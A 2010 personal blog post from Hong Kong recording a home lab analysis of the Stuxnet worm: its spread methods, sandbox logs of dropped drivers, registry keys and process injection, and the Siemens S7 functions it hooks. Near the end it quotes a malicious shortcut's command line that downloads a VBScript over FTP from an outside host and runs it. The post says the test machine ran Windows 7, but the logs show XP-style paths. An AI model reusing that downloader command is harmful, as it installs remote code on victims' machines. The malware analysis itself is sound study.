Henry's Blog
Keep everything simple....
henrysky
暱稱: henrysky
性別: 男
國家: 香港
地區: 東區
« June 2026 »
SMTWTFS
123456
78910111213
14151617181920
21222324252627
282930
最新文章
That' s why I also ...
天生一對 Taylor Swif...
36-7-2011
25-7-2011
九把刀之作 – 那些年...
文章分類
全部 (63)
日常生活 (40)
天文 (6)
電腦 (15)
未分類 (2)
訪客留言
最近三個月尚無任何留言
每月文章
日誌訂閱
尚未訂閱任何日誌
好友名單
網站連結
ESA/Hubble
Kaspersky Securelist
SpaceWeather.com
天文論壇
最近訪客
最近沒有訪客
日誌統計
文章總數: 63
留言總數: 55
今日人氣: 13
累積人氣: 921
站內搜尋
RSS 訂閱
RSS Feed
網站版本
0.1.2920923
建站日期
20/9/2010
網站安全
2010 年 10 月 16 日  星期六   陰天


病毒分析 16-10-2010 (Stuxnet) 愉快分類: 電腦

今日, 終於下載左Stuxnet病毒樣本

關於Stuxnet病毒(Wiki): http://zh.wikipedia.org/zh-hk/%E9%9C%87%E7%BD%91

關於Stuxnet病毒(Yahoo! News): http://hk.news.yahoo.com/article/100930/4/khmp.html

 

首先, 測試平台為Windows 7 x64 (未有更新漏洞MS08-067,MS10-046,MS10-061),

斷左LAN線, 插入左一支512MB手指(用作收集Stuxnet感染後既檔案, 已報銷, 相信現在已在堆填區中) .

然後再在NoteBook實機分析生成物.


一、傳播途徑 (從網上Copy+自已補充)

1.利用Windows Shell快捷方式漏洞(MS10-046)和U盤傳播

U盤傳播是Worm/Stuxnet主要傳播途徑之一。病毒會在移動存儲設備的根目錄下創建如下病毒文件:

  ~WTR4132.tmp

  ~WTR4141.tmp

同時,還會創建下列快捷方式文件,指向~WTR4141.tmp文件:

  Copy of Shortcut to.lnk

  Copy of Copy of Shortcut to.lnk

  Copy of Copy of Copy of Shortcut to.lnk

Copy of Copy of Copy of Copy of Shortcut to.lnk

在沒有安裝MS10-046補丁的Windows系統中上使用被感染的U盤時,只需在資源管理器中訪問U盤根目錄,即會自動加載病毒模塊~WTR4141.tmp,~WTR4141.tmp進而加載~WTR4132.tmp,造成系統感染。

  2.利用MS10-061漏洞和WBEM傳播

病毒會利用Windows Spooler漏洞(MS10-061),攻擊局域網上開啟了“文件和打印機共享”的機器。被成功攻陷的計算機上會生成2個病毒文件:

  %SystemDir%\winsta.exe

  %SystemDir%\wbem\mof\sysnullevnt.mof

%SystemDir%\wbem\mof\sysnullevnt.mof將會在某時刻自動執行%SystemDir%\winsta.exe(即病毒文件),造成感染。

  3.利用共享文件夾傳播

病毒掃描局域網機器的默認共享C$和admin$,並嘗試在遠程計算機上創建病毒文件:

  DEFRAG<隨機數字>.TMP

文件創建成功後,病毒會再遠程創建一個計劃任務,來定時啟動病毒體。

  4.利用MS08-067漏洞傳播

病毒向存在MS08-067漏洞的遠程計算機發送惡意RPC請求,一旦攻擊成功,即可完全控制被攻擊計算機,進行感染。

Kaspersky 報 Trojan-Dropper.Win32.Stuxnet.d 和 Trojan-Dropper.Win32.Stuxnet.b

 

其他生成物

1.Ink ---> Exploit.Win32.Agent.ee

1.exe ---> Backdoor.Win32.Hupigon.lnqy

knk.file ---> Trojan-Downloader.JS.Agent.dhd

nk.txt ---> Trojan-Downloader.JS.Agent.dhe

1.exe ---> Trojan-GameThief.Win32.OnLineGames.ukoe

jnk,txt ---> Trojan-Downloader.JS.Agent.dhc


~wtr4132.tmp 行為分析:

 File Info
Name Value
Size 517632
MD5 74ddc49a7c121a61b8d06c03f92d0c13
SHA1 0ccbc128dd8bf73dc7b3922fb67d26bbcdbcaa89
SHA256 743e16b3ef4d39fc11c5e8ec890dcd29f034a6eca51be4f7fca6e23e60dbd7a1
Process Exited

 

 Keys Created
Name Last Write Time
LM\System\CurrentControlSet\Services\MRxCls 2009.01.12 14:47:59.984
LM\System\CurrentControlSet\Services\MRxCls\Enum 2009.01.12 14:48:00.093
LM\System\CurrentControlSet\Services\MRxNet 2009.01.12 14:48:00.312
LM\System\CurrentControlSet\Services\MRxNet\Enum 2009.01.12 14:48:00.312

Values Created
Name Type Size Value
LM\System\CurrentControlSet\Services\MRxCls\Data REG_BINARY 433 ?
LM\System\CurrentControlSet\Services\MRxCls\Description REG_SZ 14 "MRXCLS"
LM\System\CurrentControlSet\Services\MRxCls\DisplayName REG_SZ 14 "MRXCLS"
LM\System\CurrentControlSet\Services\MRxCls\Enum\0 REG_SZ 48 "Root\LEGACY_MRXCLS\0000"
LM\System\CurrentControlSet\Services\MRxCls\Enum\Count REG_DWORD 4 0x1
LM\System\CurrentControlSet\Services\MRxCls\Enum\NextInstance REG_DWORD 4 0x1
LM\System\CurrentControlSet\Services\MRxCls\ErrorControl REG_DWORD 4 0x0
LM\System\CurrentControlSet\Services\MRxCls\Group REG_SZ 16 "Network"
LM\System\CurrentControlSet\Services\MRxCls\ImagePath REG_SZ 86 "\??\C:\WINDOWS\system32\Drivers\mrxcls.sys"
LM\System\CurrentControlSet\Services\MRxCls\Start REG_DWORD 4 0x1
LM\System\CurrentControlSet\Services\MRxCls\Type REG_DWORD 4 0x1
LM\System\CurrentControlSet\Services\MRxNet\Description REG_SZ 14 "MRXNET"
LM\System\CurrentControlSet\Services\MRxNet\DisplayName REG_SZ 14 "MRXNET"
LM\System\CurrentControlSet\Services\MRxNet\Enum\0 REG_SZ 48 "Root\LEGACY_MRXNET\0000"
LM\System\CurrentControlSet\Services\MRxNet\Enum\Count REG_DWORD 4 0x1
LM\System\CurrentControlSet\Services\MRxNet\Enum\NextInstance REG_DWORD 4 0x1
LM\System\CurrentControlSet\Services\MRxNet\ErrorControl REG_DWORD 4 0x0
LM\System\CurrentControlSet\Services\MRxNet\Group REG_SZ 16 "Network"
LM\System\CurrentControlSet\Services\MRxNet\ImagePath REG_SZ 86 "\??\C:\WINDOWS\system32\Drivers\mrxnet.sys"
LM\System\CurrentControlSet\Services\MRxNet\Start REG_DWORD 4 0x1
LM\System\CurrentControlSet\Services\MRxNet\Type REG_DWORD 4 0x1

 

Files Created
Name Size Last Write Time Creation Time Last Access Time Attr
C:\Documents and Settings\User\Local Settings\Temp\~DF1.tmp 498176 2009.01.12 14:47:59.406 2009.01.12 14:47:59.203 2009.01.12 14:47:59.203 0x20
C:\Documents and Settings\User\Local Settings\Temp\~DF2.tmp 90 2009.01.12 14:47:59.406 2009.01.12 14:47:59.203 2009.01.12 14:47:59.203 0x20
C:\Documents and Settings\User\Local Settings\Temp\~DF3.tmp 6619 2009.01.12 14:47:59.625 2009.01.12 14:47:59.218 2009.01.12 14:47:59.218 0x20
C:\WINDOWS\inf\mdmcpq3.PNF 6619 2008.07.31 16:58:13.796 2008.07.31 16:58:13.656 2008.07.31 16:58:13.796 0x80
C:\WINDOWS\inf\mdmeric3.PNF 90 2008.07.31 16:58:13.796 2008.07.31 16:58:13.656 2008.07.31 16:58:13.796 0x80
C:\WINDOWS\inf\oem7A.PNF 498176 2008.07.31 16:58:13.796 2008.07.31 16:58:13.656 2008.07.31 16:58:13.796 0x80
C:\WINDOWS\system32\drivers\mrxcls.sys 26616 2007.07.27 12:00:00.000 2007.07.27 12:00:00.000 2008.08.01 06:08:41.921 0x80
C:\WINDOWS\system32\drivers\mrxnet.sys 17400 2007.07.27 12:00:00.000 2007.07.27 12:00:00.000 2008.08.01 06:08:41.921 0x80

 

Drivers Loaded
Base Size Flags Image Name
0xf8a6e000 0x3000 0x9104000 \??\C:\WINDOWS\system32\Drivers\mrxnet.sys
0xf9cfc000 0x5000 0x9004000 \??\C:\WINDOWS\system32\Drivers\mrxcls.sys

 

Processes Created
PId Process Name Image Name
0x374 lsass.exe C:\WINDOWS\system32\lsass.exe

 

Threads Created
PId Process Name TId Start Start Mem Win32 Start Win32 Start Mem
0x344 svchost.exe 0x170 0x7c810856 MEM_IMAGE 0x7c910760 MEM_IMAGE
0x374 lsass.exe 0x7a8 0x7c810856 MEM_IMAGE 0xa30690 MEM_MAPPED
0x374 lsass.exe 0x7bc 0x7c810856 MEM_IMAGE 0x77df9981 MEM_IMAGE
0x374 lsass.exe 0x7cc 0x7c810867 MEM_IMAGE 0x10014bd MEM_MAPPED
0x374 lsass.exe 0x7d0 0x7c810856 MEM_IMAGE 0x10031bc MEM_MAPPED
0x374 lsass.exe 0x7d8 0x7c810856 MEM_IMAGE 0xa304f2 MEM_MAPPED
0x404 svchost.exe 0x7b8 0x7c810856 MEM_IMAGE 0x77e76bf0 MEM_IMAGE

 

Windows Api Calls
PId Image Name Address Function ( Parameters ) | Return Value
0x3ec C:\WINDOWS\system32\lsass.exe 0x10023ac CreateRemoteThread(hProcess: 0x7cc, lpThreadAttributes: 0x0, dwStackSize: 0x80000, lpStartAddress: 0x7504f2, lpParameter: 0x750000, dwCreationFlags: 0x0, lpThreadId: 0x0)|0x7a4
0x770 C:\WINDOWS\system32\lsass.exe 0x10023ac CreateRemoteThread(hProcess: 0x7cc, lpThreadAttributes: 0x0, dwStackSize: 0x80000, lpStartAddress: 0x12a04f2, lpParameter: 0x12a0000, dwCreationFlags: 0x0, lpThreadId: 0x0)|0x7a4
0x364 C:\WINDOWS\system32\lsass.exe 0x10023ac CreateRemoteThread(hProcess: 0x7cc, lpThreadAttributes: 0x0, dwStackSize: 0x80000, lpStartAddress: 0x6a04f2, lpParameter: 0x6a0000, dwCreationFlags: 0x0, lpThreadId: 0x0)|0x7a4

 

DNS Queries
DNS Query Text
www.windowsupdate.com IN A +
www.windowsupdate.com IN A +

 

Mutexes Created or Opened
PId Image Name Address Mutex Name
0x358 C:\TEST\sample.exe 0x9a2199 JCEINK
0x374 C:\WINDOWS\system32\lsass.exe 0xd4246b SxS_
0x374 C:\WINDOWS\system32\lsass.exe 0xd424b6 Global\{62BBECCC-536F-4dc6-A387-8B1A17CF8A75}
0x374 C:\WINDOWS\system32\lsass.exe 0xd62199 FEEIJO
0x400 C:\WINDOWS\system32\lsass.exe 0x8a24b6 Global\{5EC171BB-F130-4a19-B782-B6E655E091B2}

 

Events Created or Opened
PId Image Name Address Event Name
0x358 C:\TEST\sample.exe 0x769c4ec2 Global\userenv: User Profile setup event
0x358 C:\TEST\sample.exe 0x77a89422 Global\crypt32LogoffEvent
0x358 C:\TEST\sample.exe 0x985e01 Global\{CAA6BD26-6C7B-4af0-95E2-53DE46FDDF26}
0x374 C:\WINDOWS\system32\lsass.exe 0x77a89422 Global\crypt32LogoffEvent
0x374 C:\WINDOWS\system32\lsass.exe 0x77de5f48 Global\SvcctrlStartEvent_A3752DX
0x374 C:\WINDOWS\system32\lsass.exe 0xd45da4 Global\WkssvcShutdownEvent
0x374 C:\WINDOWS\system32\lsass.exe 0xd45da4 Global\WkssvcShutdownEvent2
0x374 C:\WINDOWS\system32\lsass.exe 0xd45e01 Global\{CAA6BD26-6C7B-4af0-95E2-53DE46FDDF26}
0x400 C:\WINDOWS\system32\lsass.exe 0x769c4ec2 Global\userenv: User Profile setup event
0x400 C:\WINDOWS\system32\lsass.exe 0x77a89410 Global\crypt32LogoffEvent
0x400 C:\WINDOWS\system32\lsass.exe 0x8a5e01 Global\{CAA6BD26-6C7B-4af0-95E2-53DE46FDDF26}

從以上結果顯示, Stuxnet會安裝Driver並取得電腦控制權

病毒釋放出文件系統過濾驅動mrxnet.sys,從內核層面對病毒文件進行隱藏。驅動層隱藏在功能目的上,與上述用戶層隱藏是一致的。

Worm/Stuxnet會為mrxnet.sys創建一個系統服務,服務名為MRXNET,每次系統啟動時自動加載。

Mrxcls.sys將會向名稱為services.exe,S7tgtopx.exe,CCProjectMgr.exe的進程中註入並執行病毒代碼。 S7tgtopx.exe和CCProjectMgr.exe都是與西門子系統相關的進程。被注入的代碼尋找名為“s7otbxsx.dll”的模塊,並嘗試hook該模塊中的下列API函數:

  s7_event

  s7ag_bub_cycl_read_create

  s7ag_bub_read_var

  s7ag_bub_write_var

  s7ag_link_in

  s7ag_read_szl

  s7ag_test

  s7blk_delete

  s7blk_findfirst

  s7blk_findnext

  s7blk_read

  s7blk_write

  s7db_close

  s7db_open

  s7ag_bub_read_var_seg

  s7ag_bub_write_var_seg

 

還有其他Ink攻撃:

jpg-as02.Ink原始碼: %windir%\system32\cmd.exe /c echo open www.as02.com>>l.t&echo as02>>l.t&echo 111>>l.t&echo get nk %windir%\nk.vbs>>l.t&echo bye>>l.t&ftp -s:l.t&del l.t&start %windir%\nk.vbs&

 

E隻毒既編碼異常複雜, 有D位都唔知佢做緊咩, 有D生成物既編碼睇完都唔知佢寫緊D咩....

 

 

 




訪客留言 (返回 henrysky 的日誌)


lyxs 於 2010-10-16 12:28 PM 發表:
- -
[ 回覆 ] [ 封鎖 ] [ 刪除 ]


訪客名稱:
電郵地址: (不會公開)
驗證碼:  按此更新驗證碼 (如看不清楚驗證碼請點擊圖片刷新)
俏俏話: (必需 登入 後才能使用此功能)
[ 開啟多功能編輯器 ]